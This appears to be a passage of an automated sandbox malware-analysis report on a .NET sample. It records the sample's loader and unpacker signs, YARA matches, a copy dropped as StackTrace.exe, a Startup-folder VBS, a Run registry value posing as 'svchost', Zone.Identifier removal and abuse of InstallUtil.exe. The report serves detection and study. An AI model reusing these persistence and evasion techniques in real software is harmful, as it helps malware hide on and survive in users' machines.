                  Source: Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: ________.exe, 00000000.00000002.1742675050.0000000006890000.00000004.08000000.00040000.00000000.sdmp, ________.exe, 00000000.00000002.1715918413.0000000002C98000.00000004.00000800.00020000.00000000.sdmp, StackTrace.exe, 00000003.00000002.1905206220.0000000002ADB000.00000004.00000800.00020000.00000000.sdmp, StackTrace.exe, 00000003.00000002.1918626723.0000000003557000.00000004.00000800.00020000.00000000.sdmp
                  Source: Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: ________.exe, 00000000.00000002.1742675050.0000000006890000.00000004.08000000.00040000.00000000.sdmp, ________.exe, 00000000.00000002.1715918413.0000000002C98000.00000004.00000800.00020000.00000000.sdmp, StackTrace.exe, 00000003.00000002.1905206220.0000000002ADB000.00000004.00000800.00020000.00000000.sdmp, StackTrace.exe, 00000003.00000002.1918626723.0000000003557000.00000004.00000800.00020000.00000000.sdmp
                  Source: Binary string: protobuf-net.pdbSHA256}Lq source: ________.exe, 00000000.00000002.1729686962.0000000003FE6000.00000004.00000800.00020000.00000000.sdmp, ________.exe, 00000000.00000002.1742477768.0000000006840000.00000004.08000000.00040000.00000000.sdmp
                  Source: Binary string: protobuf-net.pdb source: ________.exe, 00000000.00000002.1729686962.0000000003FE6000.00000004.00000800.00020000.00000000.sdmp, ________.exe, 00000000.00000002.1742477768.0000000006840000.00000004.08000000.00040000.00000000.sdmp

                  Data Obfuscation

                  barindex
                  .NET source code contains potential unpacker
                  Source: ________.exe, -.cs.Net Code: _E009 System.Reflection.Assembly.Load(byte[])
                  Source: 0.2.________.exe.6890000.8.raw.unpack, ReflectionHelper.cs.Net Code: InvokeMethod
                  Source: 0.2.________.exe.6890000.8.raw.unpack, ReflectionHelper.cs.Net Code: InvokeMethod
                  Source: 0.2.________.exe.6890000.8.raw.unpack, XmlSerializationHelper.cs.Net Code: ReadObjectProperties
                  Yara detected Costura Assembly Loader
                  Source: Yara matchFile source: 3.2.StackTrace.exe.3d03da0.3.raw.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 0.2.________.exe.6980000.9.raw.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 3.2.StackTrace.exe.39416c0.4.raw.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 00000003.00000002.1905206220.00000000025C8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000000.00000002.1715918413.0000000002788000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000000.00000002.1743012477.0000000006980000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000003.00000002.1918626723.0000000003818000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: Process Memory Space: ________.exe PID: 6912, type: MEMORYSTR
                  Source: Yara matchFile source: Process Memory Space: StackTrace.exe PID: 6120, type: MEMORYSTR
                  Source: C:\Users\user\Desktop\________.exeCode function: 0_2_04681F48 push 68066CB5h; retf 0_2_04681F55
                  Source: C:\Users\user\Desktop\________.exeCode function: 0_2_071C0FC8 push E8FFFFFAh; iretd 0_2_071C0FCD
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeCode function: 3_2_044C1F48 push 68063FB5h; retf 3_2_044C1F55
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeCode function: 3_2_06EF0FC8 push E8FFFFFAh; iretd 3_2_06EF0FCD
                  Source: C:\Users\user\Desktop\________.exeFile created: C:\Users\user\AppData\Roaming\StackTrace.exeJump to dropped file
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeFile created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\InstallUtil.exe.logJump to behavior

                  Boot Survival

                  barindex
                  Drops VBS files to the startup folder
                  Source: C:\Users\user\Desktop\________.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StackTrace.vbsJump to dropped file
                  Source: C:\Users\user\Desktop\________.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StackTrace.vbsJump to behavior
                  Source: C:\Users\user\Desktop\________.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StackTrace.vbsJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run svchostJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run svchostJump to behavior

                  Hooking and other Techniques for Hiding and Protection

                  barindex
                  Hides that the sample has been downloaded from the Internet (zone.identifier)
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeFile opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe:Zone.Identifier read attributes | deleteJump to behavior
                  Source: C:\Users\user\Desktop\________.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\Desktop\________.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\Desktop\________.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\Desktop\________.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\Desktop\________.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\Desktop\________.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\Desktop\________.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\Desktop\________.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\Desktop\________.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\Desktop\________.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\Desktop\________.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\Desktop\________.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\Desktop\________.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\Desktop\________.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\Desktop\________.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\Desktop\________.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\Desktop\________.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\Desktop\________.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\Desktop\________.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\Desktop\________.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\Desktop\________.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\Desktop\________.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\Desktop\________.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\Desktop\________.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\Desktop\________.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\Desktop\________.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\Desktop\________.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\Desktop\________.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\Desktop\________.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\Desktop\________.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\Desktop\________.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\Desktop\________.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\Desktop\________.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\Desktop\________.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\Desktop\________.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\Desktop\________.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\Desktop\________.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\Desktop\________.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\Desktop\________.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\Desktop\________.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\Desktop\________.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\Desktop\________.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\Desktop\________.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\Desktop\________.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\Desktop\________.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\Desktop\________.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\Desktop\________.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\Desktop\________.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\Desktop\________.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\Desktop\________.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\Desktop\________.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\Desktop\________.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\Desktop\________.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\Desktop\________.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
